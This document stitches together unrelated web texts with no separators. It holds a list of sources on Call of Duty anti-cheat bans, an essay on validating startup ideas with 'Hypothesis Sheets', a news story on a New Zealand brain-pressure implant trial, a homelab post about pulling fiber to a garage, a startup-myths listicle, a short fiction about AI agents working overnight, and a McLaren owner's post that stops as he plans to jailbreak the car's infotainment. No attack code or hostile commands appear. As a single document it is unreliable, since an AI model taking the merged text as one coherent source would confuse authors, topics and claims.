Restera/Anti-Cheat Police Department – 3 years ago, showing the kernel driver for what was then the new anti-cheat “Ricochet” being leaked.

PCGamer – PCGamer’s article which raised the issue of innocent players in Call of Duty being banned.

Activision TOS – The amount of times I had to refer to this was scary. If you ever decide to go down the legal route, you will need this.

Call of Duty Security & Enforcement Policy – Was not used nearly as much as the TOS but it is still important.

Mike Swanson’s Blog – Mentioned in the introduction but I felt it was worthy of being mentioned again

HunterTV – A YouTuber who creates videos in an entertaining format whilst still highlighting issues with Call of Duty. He showcases that even after a long period of time, the game still has major bugs. Some videos also show

11 Jan, 2025

In 2020 when we were at the beginning of our startup journey I had a conversation with Erik Goldman where he shared this process, which we used to start Column Tax. I'll be forever grateful for Erik's time, and I thought it worthwhile to capture Erik's wisdom permanently online so others could benefit as much as I have.

Intro

Navigating the early startup idea maze and finding a (good) startup idea to work on is incredibly tough¹. Having a process can help you a) find and validate a good startup idea and more importantly b) stay sane by feeling like you're making progress while doing it.

In this post, I'll explain a well-tested process for finding early Product<>Market Fit called "Hypothesis Sheets", why the process is useful, and how to follow it. This process works to validate startup ideas for venture-scale B2B companies. This process has led to many billions of dollars in market cap created. This post is geared toward starting a B2B company — if you're starting a B2C company² I believe Hypothesis Sheets can help, but that's not my area of expertise — good luck 😂.

Starting a venture-backed company is never easy, but this process can help make the early days slightly more enjoyable.

The process boils down to 4 steps:

1. Come up with a list of ideas/target customers
2. Decide on a target idea/customer type to validate
3. Validate that idea/customer type using Hypothesis Sheets
4. Continue de-risking or move on to the next idea/customer type

Let's go into detail on each of these:

The core idea: startups are a series of hypotheses

Companies are a series of hypotheses. Similar to the scientific method, successful founders are able to continually set the right hypotheses and prove/disprove them to move the business forward.

An untrue hypothesis that the business relies on represents a risk. The process of moving a company forward is the process of de-risking the company's biggest risks.

In the beginning, the core risk is "what problem should we tackle?" — while later a risk might be, for example, "can we sell to larger enterprise customers?"

As a founder, you should always be de-risking the business's top risks. But this is especially important to be doing in the very early days. You should be more rigorous and analytical than you expect on day 0. The Hypothesis Sheets method helps bring rigor to this very ambiguous phase.

Finding Product<>Market Fit

There are two main checkpoints for a startup: 1) finding PMF³ and 2) scaling it.

You must internalize that PMF is tough and random to find. And the optimal strategy to find PMF is not making just one attempt: the more "darts" you can throw to try to find PMF, the better⁴. VCs have an inherent "dartboard" built into their business model, so you can't necessarily trust their advice on this topic :).

Throwing a lot of darts: have a formal process

So how do you throw a lot of darts? Start by coming up with a list of ideas/customer types⁵ that you'll validate. Decide on which idea/customer type you're going to validate⁶ and for how long (I recommend working in 1 week sprints).

Then, don't spend more time than you need to⁷ on any single attempt. Make sure you move on at the right time. Have a set threshold you are trying to reach, and then de-risk as quickly as possible (using the process below) to decide (using the framework below) if you want to work on this idea or move on to the next one.

Overall, you should have a formal process for this idea maze phase. 80% of the reason to have a process is to stop yourself from going insane because progress is so nonlinear-feeling during pre-PMF startups. The Hypothesis Sheets method helps by providing structure so you can more easily track the progress you're making (even if that progress is proving a hypothesis false and throwing away an idea).

The process: Hypothesis Sheets

The formal method for validating each idea is called "Hypothesis Sheets".

Here's how it works:

1. Write down everything you believe to be true about your customer (and why you think it's true).
   a. Do this no matter what: don't start with a blank sheet. Start by writing down what you actually think even though it's probably wrong. Write something down even if you think you know nothing at all⁸.
   b. For example, if I were starting a Hypothesis Sheet for HR Managers at shift work companies, I might start by writing down a few hypotheses:
       i. "HR Managers have a hard time managing their workers shift schedules"
       ii. "HR Managers managing shift schedules have 6 figure software budgets"
       iii. "The hardest part about managing a shift work schedule is dealing with last-minute changes like someone calling in sick"

2. Next, stack rank which hypotheses are most important⁹ and prove each item on your list true or false. And add new hypotheses as you're going.
   a. Be very rigorous/honest about how to prove each hypothesis.
   b. For example, for a hypothesis about a customer's workflow, you may be able to prove/disprove it by doing customer discovery calls. E.g. we can learn what the hardest part of an HR Manager managing a shift work schedule is by talking to people who do that job directly and asking them about their current workflow.
   c. But for other hypotheses, e.g. will someone buy [a product], the only way to prove/disprove it may be to put a checkout screen in front of a user and see how many people enter their credit card number and click "buy". Asking your customers (or worse, your friends) if they would buy your product simply won't cut it: there's a huge difference between someone saying they will buy something and them actually paying money for that thing.

3. Eventually, progress on proving/disproving/adding hypotheses to your list will slow¹⁰.
   a. One sign this is happening is that you keep having the same customer discovery convo over and over: a good rule of thumb is that if you hear the same thing 3 times in customer discovery convos, you can likely move on to the next hypothesis¹¹.

4. Then, look at your Hypothesis Sheet — and you'll Just Know something to build that people will want¹².
   a. If you hit a wall: you either have the perfect product to build or you're wrong about one of your hypotheses.

Here's an example initial Hypothesis Sheet for my imaginary company selling to HR Managers managing shift work schedules:

As we prove/disprove each hypothesis, we can mark it True/False in the last column, as well as add/update hypotheses as we're talking to more people.

Here's a template you can use to start your Hypotheses Sheets: https://docs.google.com/spreadsheets/d/16F6SxCeeTuFtnR-qieQw_c8oai1Fih1jKUrCUy-MLA8/copy.

Caveat: you should throw away an idea/customer type/market when:

• you know the product to build, but it's not and won't become VC-backable scale¹³
• you are completely stumped about what to build based on your proven hypotheses
• you know what to build, but you would have no real moat (for example, users just want a better design, e.g. Mailbox)

Remember, arbitrage opportunities¹⁴ close quickly in business! So it's important to move quickly. I recommend working in 1 week sprints during this process. Set a goal for the sprint (i.e. which hypotheses you are going to prove/disprove this week and how) and then check in at the end of the time period to decide to continue learning about this customer or switch to a new one.

How to run customer discovery calls

One of the most common ways you will prove or disprove hypotheses about your target customer during this phase is by doing customer discovery calls¹⁵.

The worst question you can ask during a customer discovery call is "what are your problems?" — don't do this and expect to get a real answer. If they already knew the answer, they would have solved it by now! So the answers to that question are always bad. Don't literally take what customers are saying at face-value. When someone says their biggest problem is X (e.g. hiring), their real problem is actually probably Y or Z (e.g. they have a non-inspiring mission).

People cannot at all speak about the future ("where is your industry heading?"). And people are surprisingly bad at abstract thinking ("what are your problems?", "where are you spending the most money?"). But customers are fantastic at telling you concrete facts about the past/present ("would you be comfortable sharing your calendar with me?", "can I see your software budget for this year?", etc.)

The better process for customer discovery

Ideally, you'll do enough customer discovery such that you can build a model of your customer in your mind so you can simulate them and then do "customer discovery" internally inside your company. This means understanding your customers well-enough so you know their real problems, not the ones they say they have.

It's common for founders to have an "industry" they're looking into. But I recommend switching how you think about this phase of the process to thinking about "customers" instead. E.g. instead of thinking about starting a company in "Shift scheduling management", instead learn about what "HR Managers" or "Shift Workers" need. Presumably these specific customers have problems they need solving (and are willing to pay to have solved)¹⁶.

For more advice on this, read the book The Mom Test (this is my bible and I highly recommend it).

A couple of specific customer discovery hacks:

• At the end of the call, ask: "is there anyone else in your field you respect?"
  • And then live on the call (it's uncomfortable to do, but it works): "would you be open to introducing us?"
• Also, you can tell them "I'm building this Hypothesis Sheet that I'll send you after" — which can provide value to the person and make talking to you seem more worthwhile.

Conclusion: this is not necessarily a fun time :)

A reminder for folks in the idea maze: when you talk to founders further along (including me!) we will sometimes look back at this idea stage as "fun" and that the world "was our oyster". But remember that you're likely talking to folks who made it out of the idea stage. For every founder who made it out, I know half a dozen who spent months to years in the idea maze and never made it out. In other words, read this post with a healthy grain of this:

Be careful of Survivorship Bias: you're only hearing advice from people (like me!) who survived the startup idea maze, not those who never made it out.

Finding PMF is hard for everyone. There's something magical about being able to get to the point where your problems are totally different from "what should I build?" — good luck!

If you have questions about this essay or think I got something wrong, send me a message — I read & respond to every DM/email I get.

Thank you to Erik Goldman, Hannah Squier, Julian Ozen, Oliver Gilan, Achyut Joshi, Nathan Lord, Nadia Eldeib, Varun Khurana, Idan Beck, Aditya Agarwal, and Andrew Rea for reading drafts of this essay.

To get notified (extremely rarely) when I publish a new post, subscribe here:

A patient in a clinical brain implant trial says the world-first technology has reduced her anxiety around her symptoms.

Clinical trials are underway for a neural implant to monitor brain pressure in those living with hydrocephalus.

The condition causes fluid to build up in the brain which, if untreated, can be fatal.

Patients can be born with hydrocephalus or develop it later in life.

It is typically treated with a small tube, called a shunt, implanted under the skin which drains fluid from the brain into the stomach.

However, shunts had a 50 percent chance of failure in the first two years.

To tackle this, researchers at the Auckland Bioengineering Institute and Kitea Health developed an implant to measure pressure in the brain using an external, wireless wand.

The implant is only two by three millimetres, and weighs 0.3 of a gram.

Clinical trials in adults are about 50 percent complete, and trials on children have begun.

It is a world first, the smallest brain implant ever developed, as well as the first implantable medical device developed in New Zealand.

Student nurse and triallist Jessica Grainger was diagnosed with hydrocephalus in 2023, after three years of migraines.

Her first shunt failed in October 2024, after which she signed up for the clinical trial.

"The original diagnosis, I just wanted to cry in [the doctor's] office when he told me, because they'd finally figured out what was wrong and it just meant that there was something we could do to try to see if it would help, and I've not had one migraine since that first surgery," Grainger said.

Having the implant had been seamless.

"Having the wand there is just really, really cool, to be able to do from home and do by myself."

Grainger said having the implant relieved much of her anxiety when it came to feeling unwell.

"It's eased a lot of anxiety around feeling like 'oh my gosh is my shunt failing,' and then I check my readings and it's normal.

"It's kind of promoting my self-management, with the diagnosis, and being able to know when I need to go and see someone."

The implant was a huge milestone, co-founder and chief executive of Kitea Health Simon Malpas told RNZ.

"It's New Zealand's first implantable medical device of any sort," he said.

"The second thing is that it's the smallest brain implant ever developed.

"Importantly, it's the first time, world first, that someone can measure their own brain pressure at home."

Malpas said patients now had confidence in their symptoms, avoiding potentially unnecessary trips to the hospital.

"Two thirds of the time it turns out to be a false alarm, they do not do surgery," he said.

"Ideally we'd fix that problem, but people have been trying for 40 years without success to improve that, and so we've looked at this and said 'well, we can't fix the shunt but we can give confidence and data'."

Malpas hoped the use of the implant would reduce the strain on the health system.

"We know that children in hospital and people in hospital, it's expensive, you're on the ward, that's expensive, an MRI or a CT scan is expensive.

"All of those things cost, cost quite a lot.

"We can, we believe, save considerable cost to the healthcare system through reducing these false alarms."

Sign up for Ng� Pitopito K�rero, a daily newsletter curated by our editors and delivered straight to your inbox every weekday.

Getting network to the garage is a story with many chapters. I started out with Wi-Fi mesh, then CAT6 — and now, finally, fiber!

Story time

I knew we needed to get new power cables to the garage at some point, and could use that occasion to put down conduits for fiber as well. But in July 2021, one year after we moved in, I got tired of waiting, and dug CAT6 between the house and garage.

Then; another year later, in August 2022, we did install the new power cables — and put down a conduit for fiber. Early 2023 I bought a 200 ft (61 m) roll of single mode fiber, and a used D-Link DGS-1210-10P PoE switch.

But it wasn’t until May 2024 that we finally pulled the fiber through the conduit between the house and garage. The long delay was primarily because I was unsure how to do it, and then put it off.

The fiber

I didn’t know what kind of fiber to get — my initial idea was to use multi-mode with duplex LC connectors, like I used between the basement and attic. But I wasn’t confident that it would survive being pulled through such a long conduit, about 25 meters.

They had lots of nice fibers on FS.com, but with shipping, VAT, and the customs fee it got quite expensive. Then I learned that Ubiquiti had an affordable single-mode LC fiber cable, that I could source locally 🙂

Ubiquiti FC-SM-200, it is 200 ft (61 meter) and, according to the datasheet, have the following spec:

• Outdoor-Rated Jacket with Ripcord
• Integrated Weatherproof Tape
• Kevlar Yarn for Added Tensile Strength
• Outer Diameter of Cable: 6.0 ± 0.2 mm
• Six-Strand Single-Mode (G.657.A2)
• Outer Diameter of Fiber Strand: 0.25 mm Nominal
• Insertion Loss
  • 1310 nm: ≤0.5 dB/km
  • 1550 nm: ≤0.5 dB/km

I placed and order and voilà — a few days later I was the proud owner of a roll of single mode fiber 🥳 It is also available in 100 ft (30 meter), but that wasn’t long enough for my fiber run.

The only single-mode fiber SFP transceivers I had available, was a set of Ubiquity UF-SM-1G-S — 1 Gbit/s bi-directional. I tested the fiber between my MikroTik CRS317-1G-16S+ core switch, and the used D-Link DGS-1210-10P PoE switch I picked up for cheap.

Both switches accepted the SFP transceiver, and the link LED went green 👍 I have yet to find an SFP/SFP+ transceiver that MikroTik wont accept.

The conduit

To prepare for pulling the fiber I first had to get my fish tape through the conduit. But my fish tape is only 20 meter, and the conduit is about 25 🫤

So I tied a pull string onto the end of the fish tape, and a piece of plastic onto the end of the pull string. Then used a vacuum cleaner in the basement while feeding the pull string and fish tape from the garage.

The vacuum cleaner pulled the piece of plastic, and pull string, all the way through. Ready to pull some fiber!

And then absolutely nothing happened until May 2024, one year later…

Pulling the fiber

I knew it would be a challenge to get the LC connectors through the 25 mm conduit. My initial plan was just to cut some of the fibers, I didn’t need all six, three would be enough — TX, RX and one spare.

But instead of doing that, I bent the fibers back and stacked the LC connectors along the outer jacket. The pull cord was secured to the outer jacket with duct tape. Then I wrapped everything in plastic wrap, and electrical tape.

Unfortunately I forgot to take any photos of that process — I was too focused on the task.

After wrapping everything; I was 100% certain that this would never work — that all the fiber strands would break during the pull. I told my wife, who was assisting with the pull: “let’s just forget about it, this will never work”.

To which she replied: “you already have the fiber, might as well try it”. A good points indeed — so we proceeded.

I used some wire pulling lubricant at the beginning and the pull went smooth, without much resistance 😃 — at first 😞

The conduit runs pretty straight between the house and garage, but there is a bend when it goes into the ground — and after clearing the cobblestone by the house.

There are also some slight turns, both in the basement and the garage.

As the length of fiber in the conduit increased — so did the resistance. When the fiber finally reached the garage; progress ground to a halt. My wife pushed the fiber in the basement, and I pulled from the garage.

I pulled so hard I was certain the entire cable would snap right off. By some divine miracle the fiber didn’t snap, and we managed to pull enough through in the garage to reach the network cabinet.

Looking back; what I should have done, through the entire process — was to keep applying wire pulling lubricant. A generous amount at the start was not enough. As we fed the fiber through, the lubricant slowly wore off in the bends — increasing the friction. Lesson learned!

Alright; but did the fiber still work? I tested each fiber strand, between the D-Link switch in the garage, and the MikroTik in the basement. I checked the interface SFP information for each test, and wrote down the TX and RX power.

These were the results:

• Brown: 💀
• Orange: 1 Gbps, -6.147 dBm -7.904 dBm
• Grey: 1 Gbps, -6.196 dBm -7.447 dBm
• White: 1 Gbps, -6.147 dBm -7.535 dBm
• Blue: 1 Gbps, -6.147 dBm -7.113 dBm
• Green: 1 Gbps, -6.219 dBm -7.276 dBm

One fiber strand was completely dead, the brown one — but looking at my fantastic illustration, that makes sense. The brown fiber was in the front, and probably took quite a beating going first through the corrugated conduit.

All the other strands were OK, with similar dBm values. The task execution wasn’t ideal, but the fiber was through 😎

Connectivity

With a working fiber between the house and garage, it was time to put it to use. This janky setup is temporary. I’ve just done what was needed to get the fiber operational.

So; for now, the fiber is connected to a MikroTik CRS305-1G-4S+ switch placed on network patch panel above the homelab rack. I’ve zip-tied the fiber to the wall mounted rack.

A large roll of excess fiber hangs on the homelab rack…

And the fiber itself hangs in the basement ceiling, using the lamp to keep it suspended — before entering the conduit to the garage.

On the garage side it looks better; the fiber comes out by the sub panel and runs together with some electrical cables to the network cabinet.

The D-Link DGS-1210-10P PoE switch is installed in the garage network cabinet.

Removing the old

The old CAT6 cable between the house and garage, that I spent so much time installing, is now removed…

It wasn’t the prettiest thing, running up the support beam for our 2nd floor veranda — and it was in the way for some added bracing that was put in when we got glass railings installed.

My wife was very happy when it was removed and the support beam painted 🙂

I was able to reuse the 40 m CAT6 cable for two outdoor CCTV camera runs.

Future plans

First and foremost; I’m need to clean up the fiber run in the basement. Hang it together with the other network cables, find a suitable place for the excess fiber, and terminate it in the patch panel — like my other CAT6 and fiber runs.

And then get the bandwidth bumped to 10 Gbit 🤘 I already have the SFP+ transceivers. I just need to move the MikroTik CRS305-1G-4S+ switch out to the garage, and patch the fiber into the MikroTik CRS317-1G-16S+ switch in my homelab rack.

Currently; I don’t really need the 10 Gbit bandwidth, but that will change once the shed renovation is complete. We have some plans for the shed — which include 10 Gbit network 📺 🎮

🖖

Imagine you’re standing at the edge of a bustling tech frontier.

The promise of innovation, cutting-edge projects, and the allure of startup culture gleam like the gold rush of yesteryear.

But before you take that first step, the whispers of doom reach your ears:

It’s enough to make even the bravest techie hesitate.

But here’s the thing:

These myths—yes, myths—might not just be wrong.

They keep brilliant minds stuck in fear and hesitation.

If you’ve ever felt that twinge of doubt, you’re not alone.

Let’s untangle these misconceptions and uncover the truth about engineering at startups.

Myth 1: Startups Are Burnout Machines

We’ve all seen the headlines: “Tech workers report soaring burnout rates,” or “Startups chew you up and spit you out.”

Burnout is real, and ignoring it is a recipe for disaster—both for employees and employers.

Forbes recently highlighted how tech engineers and executives often clash on how to tackle productivity, burnout, and AI adoption.

But does this mean every startup is a fast track to mental and physical exhaustion?

Not necessarily.

The reality is that burnout stems more from poor workplace practices than the “startup” label itself.

Some startups are chaotic and poorly managed, sure, but many others are hyper-focused on building sustainable, supportive cultures.

Founders are becoming more aware of the importance of mental health—a shift Sifted discusses in its analysis of how 2024 could be the year mental health in startups takes center stage.

This cultural shift is your ally.

As an engineer, you have more agency than you think.

Look for red flags during interviews.

Ask pointed questions about work-life balance, overtime expectations, and mental health resources.

You’re not a passenger; you’re the driver.

Myth 2: Engineers Are Disposable

Somewhere along the line, startups got a bad rep for treating engineers like cogs in a wheel.

Maybe you’ve heard horror stories about abrupt layoffs or engineers being overlooked for decision-making roles.

But here’s the truth: Your role as an engineer is evolving, and you hold more power than you realize.

First Round Review’s analysis on engineering loyalty and longevity shows that retention challenges often arise when engineers feel undervalued or alienated from the company’s vision.

Translation?

When startups fail to integrate engineers into the core mission, they’re the ones losing out—not you.

You bring essential skills to the table—problem-solving, innovation, and technical expertise—that are the lifeblood of any tech venture.

The startups worth your time are those that recognize this and actively involve engineers in strategic conversations.

When scouting for your next role, prioritize companies that respect and empower their engineering teams.

Myth 3: Startups Lack Stability

“Why would I risk it all for a job that might not even last a year?”

It’s a fair question.

Startups can be volatile, and not every one of them survives.

But stability doesn’t have to mean stagnation.

Think about it:

Would you rather have a predictable but unremarkable career, or one that challenges you, sharpens your skills, and offers opportunities to grow in ways you never imagined?

Stability in startups comes not from the company’s age but from its culture, vision, and leadership.

Joining a startup isn’t about betting your entire career on one company; it’s about betting on yourself.

The experience you gain—learning to pivot, adapt, and innovate—is the kind of stability that’ll carry you through any industry shift.

Myth 4: You Have to Know Everything

If you’ve ever scrolled through a job description and thought, “I can’t apply for this; I don’t tick every box,” you’re not alone.

But startups thrive on learning and iteration.

Nobody expects you to walk in as a finished product.

Core skills matter more than a laundry list of qualifications.

Are you curious, collaborative, and resilient?

Can you communicate effectively?

These traits often outweigh technical know-how because startups need problem-solvers who can adapt to shifting challenges.

The best startups will invest in your growth, offering mentorship and the chance to learn on the job.

Remember:

It’s not about being perfect.

It’s about being hungry to learn and contribute.

Myth 5: Startup Culture Is Toxic

Ping-pong tables, all-night hackathons, and overly hyped “family vibes” can make startup culture feel like a stereotype—one you’d rather avoid.

But this caricature misses the mark.

Founders and leaders are more aware than ever of the need for inclusivity, respect, and boundaries.

Toxic behavior isn’t exclusive to startups; it’s a company-wide issue.

The difference lies in how leaders address it.

When evaluating a startup’s culture, look for transparency and accountability.

A great startup culture amplifies your ability to innovate while respecting your well-being.

Rewriting the Narrative

The myths surrounding engineering at startups are persistent, but they’re not insurmountable.

They thrive on fear and exaggeration, keeping talented engineers like you from seizing opportunities that could define your career.

By asking the right questions and aligning yourself with the right companies, you can find roles that challenge and reward you.

Your journey into startup engineering doesn’t have to be a leap into the unknown.

It can be a calculated step toward growth, purpose, and impact.

Have you faced any of these myths in your own career?

What’s held you back, or what helped you push forward?

I’d love to hear your stories.

Drop a comment below, share this with someone who needs to read it, and let’s keep the conversation going.

It’s February 2026. Ember woke up to the gentle hum of the air conditioner outside her window. She had fallen asleep at her desk right after sending the team the remaining action items blocking tomorrow’s product launch.

Deciding to head straight to the office, she arrives and finds Liam, the engineering lead, reviewing the latest updates to the product. First cup of coffee brewed, she settles in next to him.

Her first sip is interrupted by a Slack message from Ruth. Ember lazily skims through Ruth’s message. Apparently, the team had done an outstanding job since last night.

She opens the project dashboard to find it bustling with updates. Every action item she had listed last night is either completed or awaiting the team’s review. Looks like seven pull requests across backend services were merged and deployed, with three more waiting for approval. Ember continues to approve two of them to get the landing page copy updated and notices they’re also running new ad copies and creatives. Six new suggestions have appeared on the board, ranging from minor bugs to strategic ideas to pursue. She sends out four of the email drafts that had popped into her inbox, leaving the rest for later.

“How’s the backend looking like? Are we getting ready?” she asks Liam.

“Meticulous,” he replies with a grin on his face, scrolling through the commits in the repositories. “The bugs from last night are gone, and the two features seamlessly integrated. It’s as if the entire team worked through the night.” The foundational work was done.

As the sun climbed higher, Ember strolled to the kitchen for another coffee. All the pieces were coming together. Tomorrow the world would see what they had built, and nothing would have felt more surreal than waking up to finding it nearly complete.

✴︎

The world seems to be converging on the definition of AI agents. I like to think about them as replacing traditional IF-ELSE statements in your code with large language model (LLM) calls. And by giving models capable of complex reasoning sufficient context, memory, tools – and letting them run in the background in an “ambient” way – we’re stepping into an exciting new era.

Who knows how our lives will change when artificial intelligence understands more about the world around us, thinks multiple steps ahead and takes action on our behalf, with our supervision.

For as long as I can remember, I've always been a fan of motorsport. Not the one where you turn left for 400 laps, I mean like the other racing: Formula 1, Le Mans, IndyCar, etc. The fact that there's teams dumping hundreds of millions of dollars of research into the sole goal of building the fastest car, is so pure and simple. The goal itself is simple, but the actual requirements to build something that's capable of going more than 225 miles per hour for 50+ laps straight and not fall apart is the hard part.

This, as well as playing copious amounts of Need for Speed, Forza, and Gran Turismo, are also the reason I’ve always been drawn to driving sports cars (particularly British, and mid-engine), and of those, those made by vendors that had a significant investment in motorsport. My first roadster was a 2006 Lotus Elise in Solar Yellow. It was so fun to zip around in. It was a super lightweight mid-engine convertible go kart, that also happened to be legal for the road. Built by a company with a legendary presence in Formula 1, it prioritized lightness and handling above all else, especially cost. The steering feel of that car was very direct (no power steering, just raw input from the road), and the interior had basically nothing above the bare essentials (except maybe climate controls, but nothing else, no carpets, not even power windows!).

It was with that, that I experienced some of my first track days racing with other Lotus owners in the Bay Area (many of which were extremely talented and humbled me into knowing just how much I was lacking in the experience department). However, being the Bay Area, it’s riddled with people who don't know how to drive (especially in the rain), and due to the Elise being basically a single fiberglass shell, it was actually really stressful to drive. Wicked fun, but if anyone ever tapped it faster than 2mph, it’d basically be a write off (since replacing the single clamshell cost more than the car itself).

It was for this reason that I eventually shifted to a Lotus Evora 400. The Evora lineup was meant to act as a compliment to the Elise and the Exige. Where the Elise and Exige were primarily focused on being as raw as possible, the Evora was more focused on being a useable road car… that could also put in some wicked lap times. That was actually one of the things that most surprised me when I first drove it, even though the interior was more comfortable, the handling and feel was never lost, in fact it felt just as good as my Elise. A slightly roomier cabin, but still a two seater with an even faster 0-60 (no convertible though, sadly). It was with the Evora that I learned almost everything I know nowadays about spirited driving and track days. Having put tons of miles into that car, driving it every day for ~5 years, I learned to appreciate all it had to offer (and all the extremely strange quirks that went with it). I still got to hang with the Lotus Club, that community really does have some of the nicest people I’ve ever met / learned from; nothing but pure passion and appreciation for motorsport. The amount of confidence you get driving these Lotus cars in corners (due to them being both mid-engine and having a fantastic center of gravity), just makes you want to push it more and more. From steadily improving my times at Thunderhill and Sonoma, to conquering the Corkscrew at Laguna Seca in the rain, I learned a lot about car control, braking, and improving entry / exit speeds.

I'll Have What He's Having

A couple summers ago though, my family ended up renting my dad a few laps in a Ferrari 458 as a gift for his birthday. Growing up he was always fixing cars in the garage (this is also probably a huge reason why I’m so into cars nowadays), so it felt fitting to let him experience something a little faster than the Volkswagens he would drive on the daily. Upon booking the rental for him, I also noticed a few other cars you could rent: a Porsche 911 GT3 RS, a Lamborghini Huracan, and a McLaren 720S.

It was at this point where I had the brilliant idea to also rent myself another mid-engine British race car.

McLaren has always been my number one car manufacturer (with Lotus as a close second), with another legendary presence in motorsport, especially Formula 1. Ever since the McLaren F1 launched at around the time I was born, it was the dream car I would always pick in every single racing game and still to this day is my all-time favourite car. This dream will still sadly probably stay a dream as buying one of the ~106 available globally nowadays will probably set you back at least 20 million dollars (I'm accepting donations if anyone's inclined!).

The McLaren F1 was built with the goal to build the best driving car ever, with no compromises. Turns out, their framework for building it worked so well that they ended up building arguably the best car of all time and held the record for the fastest road car for nearly 13 years straight (reaching a top speed of 240mph). The car was so good, in fact, that they slightly modified it, called it the McLaren F1 GTR, entered 4 of them into the 24 Hours of Le Mans, and then proceeded to win first, third, fourth, and fifth place at their first Le Mans ever. This sadly will probably never happen again as most, if not all, cars in that race nowadays are purpose-built for Le Mans vs. the McLaren F1, a road car being so good it could basically roll up to the start line unchanged. Speaking of wins in motorsport, they're also one of the only manufacturers ever to win the Motorsport Triple Crown (winning Le Mans, the Indianapolis 500, and the Monaco Grand Prix… with Ayrton Senna no less, one of the greatest Formula 1 drivers of all time). The livery of Senna's MP4/6 still lives rent-free in my head and I still cheer them on each year in Formula 1.

Seeing as though I would have an opportunity to drive one of McLaren's other cars and experience what goes into their DNA, I decided to rent the 720S.

Upon stepping into this fighter jet on wheels, I realized that it felt familiar. It gave the same feelings that my Lotus cars gave, a race car that was legal enough to be driven on the road. Off the initial line, I couldn't help but notice that this thing was basically like the NOS scenes you see in Fast in the Furious. You know, where the cars enter hyperspace and get 2x the horsepower when they turn on the NOS tanks, because, damn, it was fast. 0-60mph in like 2.8 seconds (for context, my Evora was almost twice as slow). Not only was it crazy fast, but it was also super stable, as long as you weren't oversteering in the corners and dumping the throttle, never once did I feel like I was losing control. Just like the Elise and Evora, the steering felt super direct and gave tons of information and feeling of the road. A lot of cars nowadays tend to dampen the steering and make it feel way lighter than it really is, but they nailed the steering feel in this car. The car also has this super cool hydraulic suspension system so it's always planted on the road and basically never runs out of grip. If you go over a bump and one wheel on one side of the car is raised, the other wheel on the other side is lowered to compensate and balance the car out. Those feelings sparked so much confidence that only after a couple laps I was flying past other Porsche 911 GT3 RSs as if they were Toyota Priuses. The instructor asked “Have you driven one of these before?”, of course my answer was no, I had only wished I did, but it just felt like a natural progression from the Lotus cars. Raw, direct feedback from steering, mid-engine weight distribution, yet literally 100x faster. It felt like a rocket ship glued to the ground. I remember parking the car and my dad asking "How was it?", I then replied "I need to get one of these".

1 Year Later

For the next year, I could not get the feeling of driving that 720S out of my head. It was one of the most remarkable driving experiences I've ever felt and was probably the closest I'll ever get to experiencing a fraction of what a Formula 1 car is like. I still loved driving my Evora, but this was something else entirely.

Later that year I decided to go visit McLaren of San Francisco "just to see" what they had.

A test drive and a week later, I then said goodbye to my Evora 400 and hello to a McLaren 720S Spider in McLaren Orange (one of the best colours IMO).

Now for context, in case it wasn't obvious, the Evora was my daily driver and as such this took its place. I've never really liked having multiple cars, and I find that the best way to learn everything about a car is to drive it everywhere (or at least wherever possible). This includes everything from getting groceries (the front trunk can actually hold a lot), to sitting in 280 traffic, spirited driving in the Santa Cruz mountains, and even ripping past turn 1 at Sonoma Raceway.

This car is absolutely incredible, and is something I'll be holding onto for a very long time. I'm excited to drive it every time I get to flip the door up vertically, step into the cockpit, press the big red Engine Start button, and hear the twin turbo 3.8L V8 rev up. The interior is sleek and simple, with a buttonless leather and carbon fiber steering wheel (no media controls, no HVAC, just a steering wheel). It's rare to find this nowadays, especially with so many other companies making their steering wheels have more buttons than an Xbox Controller, having terrible touch controls, or being stupid and choosing a yoke instead of a wheel entirely. It's also super comfortable, and has a massive front windshield with lots of visibility. Even the rear quarter panels are transparent so your blind spots are never blocked. All the other buttons are readily accessible to the driver on either sides of the cockpit all the while feeling super low to the ground (107mm off the ground to be specific). You can tell this was built and designed by people who love driving.

The dual clutch gearbox is so smooth and the way the exhaust sounds as it's cut when it upshifts around 5000 RPM sounds like it's straight out of a science fiction movie. At Laguna Seca I remember I had to carry so much speed through turns 5 and 6 with my Lotus cars (since they can lose a lot of speed trying to go uphill), but this car has so much torque it simply does not care. You could be at a standstill at the bottom of the hill, floor it, and in 5 seconds you'd be going 120mph. For all the extra power it has, it's still just as lightweight as my Evora was. I even got the opportunity to learn how to get it sliding sideways a bit through corners at the track to learn how their ESC (stability control) Dynamic setting works.

I have so much more to say about what it's like to drive and how much appreciation I have for all the engineers and designers that worked so hard to make this car exist, but today I want to focus on telling the story of my experience fixing one of it's smaller flaws…

It doesn't have CarPlay.

Editor's Note: huge first world problem, I'm fully aware.

So What Does It Have?

The 720S was introduced at that awkward phase in car stereo technology times where Bluetooth was everywhere and CarPlay was just starting to exist. However, they sadly didn't seem to get around to implementing it, and it was only equipped with USB iPod support. So, I could use my iPhone for music, but that would require either using Bluetooth or USB.

There's two problems with this however:

1. Bluetooth's bitrate maxes out at ~264kbps assuming we're doing AAC (which we are given it's iOS and the car doesn't seem to support anything like aptX or whatever). This is worse than a 320kbps MP3 file, and I could hear the compression artifacts, so this was immediately out of the question.
2. USB does provide the best quality, however that requires constantly plugging in the phone anytime I get in the car and I was already used to having wireless CarPlay in my Evora (which again, another huge first world problem, I'm aware).

Now you might think: "Couldn't you just swap the stereo head unit like other cars?". I could, however for the 720S, McLaren built a fully custom bespoke one-off system that I can't quite swap. The system itself controls loads of proprietary things like tire settings, interior lighting, maps, sensors, track telemetry, even Variable Drift Control (you literally get a slider to adjust how much you want to drift!), and as such, nobody has really spent the time or effort to make an aftermarket swap.

Editor's Note: It turns out the newly released 750S now does have CarPlay, but that also didn't feel like a cost-effective solution.

The whole setup is actually pretty sweet, the gauge cluster can flip down to show you just your shift lights when you're in track mode and you get an audible cue when's the optimal time to shift gears.

So anyways, this custom head unit does a ton of stuff, surely there's something we could do with it, right?

Jailbreaking the Car?

Upon further inspection, the infotainment system seems to have been developed by JVC / Kenwood (which lines up properly with this press coverage denoting JVC did a custom system for McLaren). Upon using it though, I figured that it was running a variant of Android due to the distinct way it handles scrolling at the edges of any given screen (you get that glow effect instead of rubber banding like you would on iOS or Windows Phone 🪦). Now considering that this car was unveiled in 2017 and the electrical systems were developed around then (or earlier, technology moves slow in the car space), it's probably not running Lollipop or Marshmallow (since those were bleeding-edge at the time and this is likely an embedded system). I'd bet probably something like Android 3.0, surely we can just jailbreak it right?

